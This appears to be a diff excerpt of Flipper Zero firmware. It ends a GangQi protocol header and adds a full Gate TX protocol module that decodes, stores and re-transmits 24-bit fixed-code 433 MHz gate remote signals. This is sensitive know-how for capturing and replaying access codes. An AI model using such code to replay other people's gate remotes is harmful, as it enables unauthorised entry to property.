extern const SubGhzProtocolEncoder subghz_protocol_gangqi_encoder;
|
||||
extern const SubGhzProtocol subghz_protocol_gangqi;
|
||||
|
||||
/**
|
||||
* Allocate SubGhzProtocolEncoderGangQi.
|
||||
* @param environment Pointer to a SubGhzEnvironment instance
|
||||
* @return SubGhzProtocolEncoderGangQi* pointer to a SubGhzProtocolEncoderGangQi instance
|
||||
*/
|
||||
void* subghz_protocol_encoder_gangqi_alloc(SubGhzEnvironment* environment);
|
||||
|
||||
/**
|
||||
* Free SubGhzProtocolEncoderGangQi.
|
||||
* @param context Pointer to a SubGhzProtocolEncoderGangQi instance
|
||||
*/
|
||||
void subghz_protocol_encoder_gangqi_free(void* context);
|
||||
|
||||
/**
|
||||
* Deserialize and generating an upload to send.
|
||||
* @param context Pointer to a SubGhzProtocolEncoderGangQi instance
|
||||
* @param flipper_format Pointer to a FlipperFormat instance
|
||||
* @return status
|
||||
*/
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_encoder_gangqi_deserialize(void* context, FlipperFormat* flipper_format);
|
||||
|
||||
/**
|
||||
* Forced transmission stop.
|
||||
* @param context Pointer to a SubGhzProtocolEncoderGangQi instance
|
||||
*/
|
||||
void subghz_protocol_encoder_gangqi_stop(void* context);
|
||||
|
||||
/**
|
||||
* Getting the level and duration of the upload to be loaded into DMA.
|
||||
* @param context Pointer to a SubGhzProtocolEncoderGangQi instance
|
||||
* @return LevelDuration
|
||||
*/
|
||||
LevelDuration subghz_protocol_encoder_gangqi_yield(void* context);
|
||||
|
||||
/**
|
||||
* Allocate SubGhzProtocolDecoderGangQi.
|
||||
* @param environment Pointer to a SubGhzEnvironment instance
|
||||
* @return SubGhzProtocolDecoderGangQi* pointer to a SubGhzProtocolDecoderGangQi instance
|
||||
*/
|
||||
void* subghz_protocol_decoder_gangqi_alloc(SubGhzEnvironment* environment);
|
||||
|
||||
/**
|
||||
* Free SubGhzProtocolDecoderGangQi.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderGangQi instance
|
||||
*/
|
||||
void subghz_protocol_decoder_gangqi_free(void* context);
|
||||
|
||||
/**
|
||||
* Reset decoder SubGhzProtocolDecoderGangQi.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderGangQi instance
|
||||
*/
|
||||
void subghz_protocol_decoder_gangqi_reset(void* context);
|
||||
|
||||
/**
|
||||
* Parse a raw sequence of levels and durations received from the air.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderGangQi instance
|
||||
* @param level Signal level true-high false-low
|
||||
* @param duration Duration of this level in, us
|
||||
*/
|
||||
void subghz_protocol_decoder_gangqi_feed(void* context, bool level, uint32_t duration);
|
||||
|
||||
/**
|
||||
* Getting the hash sum of the last randomly received parcel.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderGangQi instance
|
||||
* @return hash Hash sum
|
||||
*/
|
||||
uint8_t subghz_protocol_decoder_gangqi_get_hash_data(void* context);
|
||||
|
||||
/**
|
||||
* Serialize data SubGhzProtocolDecoderGangQi.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderGangQi instance
|
||||
* @param flipper_format Pointer to a FlipperFormat instance
|
||||
* @param preset The modulation on which the signal was received, SubGhzRadioPreset
|
||||
* @return status
|
||||
*/
|
||||
SubGhzProtocolStatus subghz_protocol_decoder_gangqi_serialize(
|
||||
void* context,
|
||||
FlipperFormat* flipper_format,
|
||||
SubGhzRadioPreset* preset);
|
||||
|
||||
/**
|
||||
* Deserialize data SubGhzProtocolDecoderGangQi.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderGangQi instance
|
||||
* @param flipper_format Pointer to a FlipperFormat instance
|
||||
* @return status
|
||||
*/
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_decoder_gangqi_deserialize(void* context, FlipperFormat* flipper_format);
|
||||
|
||||
/**
|
||||
* Getting a textual representation of the received data.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderGangQi instance
|
||||
* @param output Resulting text
|
||||
*/
|
||||
void subghz_protocol_decoder_gangqi_get_string(void* context, FuriString* output);
|
||||
@@ -0,0 +1,331 @@
|
||||
#include "gate_tx.h"
|
||||
|
||||
#include <lib/subghz/blocks/const.h>
|
||||
#include <lib/subghz/blocks/decoder.h>
|
||||
#include <lib/subghz/blocks/encoder.h>
|
||||
#include <lib/subghz/blocks/generic.h>
|
||||
#include <lib/subghz/blocks/math.h>
|
||||
|
||||
#define TAG "SubGhzProtocolGateTx"
|
||||
|
||||
static const SubGhzBlockConst subghz_protocol_gate_tx_const = {
|
||||
.te_short = 350,
|
||||
.te_long = 700,
|
||||
.te_delta = 100,
|
||||
.min_count_bit_for_found = 24,
|
||||
};
|
||||
|
||||
struct SubGhzProtocolDecoderGateTx {
|
||||
SubGhzProtocolDecoderBase base;
|
||||
|
||||
SubGhzBlockDecoder decoder;
|
||||
SubGhzBlockGeneric generic;
|
||||
};
|
||||
|
||||
struct SubGhzProtocolEncoderGateTx {
|
||||
SubGhzProtocolEncoderBase base;
|
||||
|
||||
SubGhzProtocolBlockEncoder encoder;
|
||||
SubGhzBlockGeneric generic;
|
||||
};
|
||||
|
||||
typedef enum {
|
||||
GateTXDecoderStepReset = 0,
|
||||
GateTXDecoderStepFoundStartBit,
|
||||
GateTXDecoderStepSaveDuration,
|
||||
GateTXDecoderStepCheckDuration,
|
||||
} GateTXDecoderStep;
|
||||
|
||||
const SubGhzProtocolDecoder subghz_protocol_gate_tx_decoder = {
|
||||
.alloc = subghz_protocol_decoder_gate_tx_alloc,
|
||||
.free = subghz_protocol_decoder_gate_tx_free,
|
||||
|
||||
.feed = subghz_protocol_decoder_gate_tx_feed,
|
||||
.reset = subghz_protocol_decoder_gate_tx_reset,
|
||||
|
||||
.get_hash_data = subghz_protocol_decoder_gate_tx_get_hash_data,
|
||||
.serialize = subghz_protocol_decoder_gate_tx_serialize,
|
||||
.deserialize = subghz_protocol_decoder_gate_tx_deserialize,
|
||||
.get_string = subghz_protocol_decoder_gate_tx_get_string,
|
||||
};
|
||||
|
||||
const SubGhzProtocolEncoder subghz_protocol_gate_tx_encoder = {
|
||||
.alloc = subghz_protocol_encoder_gate_tx_alloc,
|
||||
.free = subghz_protocol_encoder_gate_tx_free,
|
||||
|
||||
.deserialize = subghz_protocol_encoder_gate_tx_deserialize,
|
||||
.stop = subghz_protocol_encoder_gate_tx_stop,
|
||||
.yield = subghz_protocol_encoder_gate_tx_yield,
|
||||
};
|
||||
|
||||
const SubGhzProtocol subghz_protocol_gate_tx = {
|
||||
.name = SUBGHZ_PROTOCOL_GATE_TX_NAME,
|
||||
.type = SubGhzProtocolTypeStatic,
|
||||
.flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
|
||||
SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
|
||||
|
||||
.decoder = &subghz_protocol_gate_tx_decoder,
|
||||
.encoder = &subghz_protocol_gate_tx_encoder,
|
||||
};
|
||||
|
||||
void* subghz_protocol_encoder_gate_tx_alloc(SubGhzEnvironment* environment) {
|
||||
UNUSED(environment);
|
||||
SubGhzProtocolEncoderGateTx* instance = malloc(sizeof(SubGhzProtocolEncoderGateTx));
|
||||
|
||||
instance->base.protocol = &subghz_protocol_gate_tx;
|
||||
instance->generic.protocol_name = instance->base.protocol->name;
|
||||
|
||||
instance->encoder.repeat = 3;
|
||||
instance->encoder.size_upload = 52; //max 24bit*2 + 2 (start, stop)
|
||||
instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
|
||||
instance->encoder.is_running = false;
|
||||
return instance;
|
||||
}
|
||||
|
||||
void subghz_protocol_encoder_gate_tx_free(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolEncoderGateTx* instance = context;
|
||||
free(instance->encoder.upload);
|
||||
free(instance);
|
||||
}
|
||||
|
||||
/**
|
||||
* Generating an upload from data.
|
||||
* @param instance Pointer to a SubGhzProtocolEncoderGateTx instance
|
||||
* @return true On success
|
||||
*/
|
||||
static bool subghz_protocol_encoder_gate_tx_get_upload(SubGhzProtocolEncoderGateTx* instance) {
|
||||
furi_assert(instance);
|
||||
size_t index = 0;
|
||||
size_t size_upload = (instance->generic.data_count_bit * 2) + 2;
|
||||
if(size_upload > instance->encoder.size_upload) {
|
||||
FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer.");
|
||||
return false;
|
||||
} else {
|
||||
instance->encoder.size_upload = size_upload;
|
||||
}
|
||||
//Send header
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(false, (uint32_t)subghz_protocol_gate_tx_const.te_short * 49);
|
||||
//Send start bit
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(true, (uint32_t)subghz_protocol_gate_tx_const.te_long);
|
||||
//Send key data
|
||||
for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
|
||||
if(bit_read(instance->generic.data, i - 1)) {
|
||||
//send bit 1
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(false, (uint32_t)subghz_protocol_gate_tx_const.te_long);
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(true, (uint32_t)subghz_protocol_gate_tx_const.te_short);
|
||||
} else {
|
||||
//send bit 0
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(false, (uint32_t)subghz_protocol_gate_tx_const.te_short);
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(true, (uint32_t)subghz_protocol_gate_tx_const.te_long);
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_encoder_gate_tx_deserialize(void* context, FlipperFormat* flipper_format) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolEncoderGateTx* instance = context;
|
||||
SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
|
||||
do {
|
||||
ret = subghz_block_generic_deserialize_check_count_bit(
|
||||
&instance->generic,
|
||||
flipper_format,
|
||||
subghz_protocol_gate_tx_const.min_count_bit_for_found);
|
||||
if(ret != SubGhzProtocolStatusOk) {
|
||||
break;
|
||||
}
|
||||
// Optional value
|
||||
flipper_format_read_uint32(
|
||||
flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
|
||||
|
||||
if(!subghz_protocol_encoder_gate_tx_get_upload(instance)) {
|
||||
ret = SubGhzProtocolStatusErrorEncoderGetUpload;
|
||||
break;
|
||||
}
|
||||
instance->encoder.is_running = true;
|
||||
} while(false);
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
void subghz_protocol_encoder_gate_tx_stop(void* context) {
|
||||
SubGhzProtocolEncoderGateTx* instance = context;
|
||||
instance->encoder.is_running = false;
|
||||
}
|
||||
|
||||
LevelDuration subghz_protocol_encoder_gate_tx_yield(void* context) {
|
||||
SubGhzProtocolEncoderGateTx* instance = context;
|
||||
|
||||
if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
|
||||
instance->encoder.is_running = false;
|
||||
return level_duration_reset();
|
||||
}
|
||||
|
||||
LevelDuration ret = instance->encoder.upload[instance->encoder.front];
|
||||
|
||||
if(++instance->encoder.front == instance->encoder.size_upload) {
|
||||
if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
|
||||
instance->encoder.front = 0;
|
||||
}
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
void* subghz_protocol_decoder_gate_tx_alloc(SubGhzEnvironment* environment) {
|
||||
UNUSED(environment);
|
||||
SubGhzProtocolDecoderGateTx* instance = malloc(sizeof(SubGhzProtocolDecoderGateTx));
|
||||
instance->base.protocol = &subghz_protocol_gate_tx;
|
||||
instance->generic.protocol_name = instance->base.protocol->name;
|
||||
return instance;
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_gate_tx_free(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderGateTx* instance = context;
|
||||
free(instance);
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_gate_tx_reset(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderGateTx* instance = context;
|
||||
instance->decoder.parser_step = GateTXDecoderStepReset;
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_gate_tx_feed(void* context, bool level, uint32_t duration) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderGateTx* instance = context;
|
||||
|
||||
switch(instance->decoder.parser_step) {
|
||||
case GateTXDecoderStepReset:
|
||||
if((!level) && (DURATION_DIFF(duration, subghz_protocol_gate_tx_const.te_short * 47) <
|
||||
subghz_protocol_gate_tx_const.te_delta * 47)) {
|
||||
//Found Preambula
|
||||
instance->decoder.parser_step = GateTXDecoderStepFoundStartBit;
|
||||
}
|
||||
break;
|
||||
case GateTXDecoderStepFoundStartBit:
|
||||
if(level && (DURATION_DIFF(duration, subghz_protocol_gate_tx_const.te_long) <
|
||||
subghz_protocol_gate_tx_const.te_delta * 3)) {
|
||||
//Found start bit
|
||||
instance->decoder.parser_step = GateTXDecoderStepSaveDuration;
|
||||
instance->decoder.decode_data = 0;
|
||||
instance->decoder.decode_count_bit = 0;
|
||||
} else {
|
||||
instance->decoder.parser_step = GateTXDecoderStepReset;
|
||||
}
|
||||
break;
|
||||
case GateTXDecoderStepSaveDuration:
|
||||
if(!level) {
|
||||
if(duration >= ((uint32_t)subghz_protocol_gate_tx_const.te_short * 10 +
|
||||
subghz_protocol_gate_tx_const.te_delta)) {
|
||||
instance->decoder.parser_step = GateTXDecoderStepFoundStartBit;
|
||||
if(instance->decoder.decode_count_bit ==
|
||||
subghz_protocol_gate_tx_const.min_count_bit_for_found) {
|
||||
instance->generic.data = instance->decoder.decode_data;
|
||||
instance->generic.data_count_bit = instance->decoder.decode_count_bit;
|
||||
|
||||
if(instance->base.callback)
|
||||
instance->base.callback(&instance->base, instance->base.context);
|
||||
}
|
||||
instance->decoder.decode_data = 0;
|
||||
instance->decoder.decode_count_bit = 0;
|
||||
break;
|
||||
} else {
|
||||
instance->decoder.te_last = duration;
|
||||
instance->decoder.parser_step = GateTXDecoderStepCheckDuration;
|
||||
}
|
||||
}
|
||||
break;
|
||||
case GateTXDecoderStepCheckDuration:
|
||||
if(level) {
|
||||
if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_gate_tx_const.te_short) <
|
||||
subghz_protocol_gate_tx_const.te_delta) &&
|
||||
(DURATION_DIFF(duration, subghz_protocol_gate_tx_const.te_long) <
|
||||
subghz_protocol_gate_tx_const.te_delta * 3)) {
|
||||
subghz_protocol_blocks_add_bit(&instance->decoder, 0);
|
||||
instance->decoder.parser_step = GateTXDecoderStepSaveDuration;
|
||||
} else if(
|
||||
(DURATION_DIFF(instance->decoder.te_last, subghz_protocol_gate_tx_const.te_long) <
|
||||
subghz_protocol_gate_tx_const.te_delta * 3) &&
|
||||
(DURATION_DIFF(duration, subghz_protocol_gate_tx_const.te_short) <
|
||||
subghz_protocol_gate_tx_const.te_delta)) {
|
||||
subghz_protocol_blocks_add_bit(&instance->decoder, 1);
|
||||
instance->decoder.parser_step = GateTXDecoderStepSaveDuration;
|
||||
} else {
|
||||
instance->decoder.parser_step = GateTXDecoderStepReset;
|
||||
}
|
||||
} else {
|
||||
instance->decoder.parser_step = GateTXDecoderStepReset;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Analysis of received data
|
||||
* @param instance Pointer to a SubGhzBlockGeneric* instance
|
||||
*/
|
||||
static void subghz_protocol_gate_tx_check_remote_controller(SubGhzBlockGeneric* instance) {
|
||||
uint32_t code_found_reverse =
|
||||
subghz_protocol_blocks_reverse_key(instance->data, instance->data_count_bit);
|
||||
|
||||
instance->serial = (code_found_reverse & 0xFF) << 12 |
|
||||
((code_found_reverse >> 8) & 0xFF) << 4 |
|
||||
((code_found_reverse >> 20) & 0x0F);
|
||||
instance->btn = ((code_found_reverse >> 16) & 0x0F);
|
||||
}
|
||||
|
||||
uint8_t subghz_protocol_decoder_gate_tx_get_hash_data(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderGateTx* instance = context;
|
||||
return subghz_protocol_blocks_get_hash_data(
|
||||
&instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus subghz_protocol_decoder_gate_tx_serialize(
|
||||
void* context,
|
||||
FlipperFormat* flipper_format,
|
||||
SubGhzRadioPreset* preset) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderGateTx* instance = context;
|
||||
return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_decoder_gate_tx_deserialize(void* context, FlipperFormat* flipper_format) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderGateTx* instance = context;
|
||||
return subghz_block_generic_deserialize_check_count_bit(
|
||||
&instance->generic, flipper_format, subghz_protocol_gate_tx_const.min_count_bit_for_found);
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_gate_tx_get_string(void* context, FuriString* output) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderGateTx* instance = context;
|
||||
subghz_protocol_gate_tx_check_remote_controller(&instance->generic);
|
||||
|
||||
// push protocol data to global variable
|
||||
subghz_block_generic_global.btn_is_available = false;
|
||||
subghz_block_generic_global.current_btn = instance->generic.btn;
|
||||
subghz_block_generic_global.btn_length_bit = 4;
|
||||
//
|
||||
|
||||
furi_string_cat_printf(
|
||||
output,
|
||||
"%s %dbit\r\n"
|
||||
"Key:%06lX\r\n"
|
||||
"Sn:%05lX Btn:%X\r\n",
|
||||
instance->generic.protocol_name,
|
||||
instance->generic.data_count_bit,
|
||||
(uint32_t)(instance->generic.data & 0xFFFFFF),
|
||||
instance->generic.serial,
|
||||
instance->generic.btn);
|
||||
}
|
||||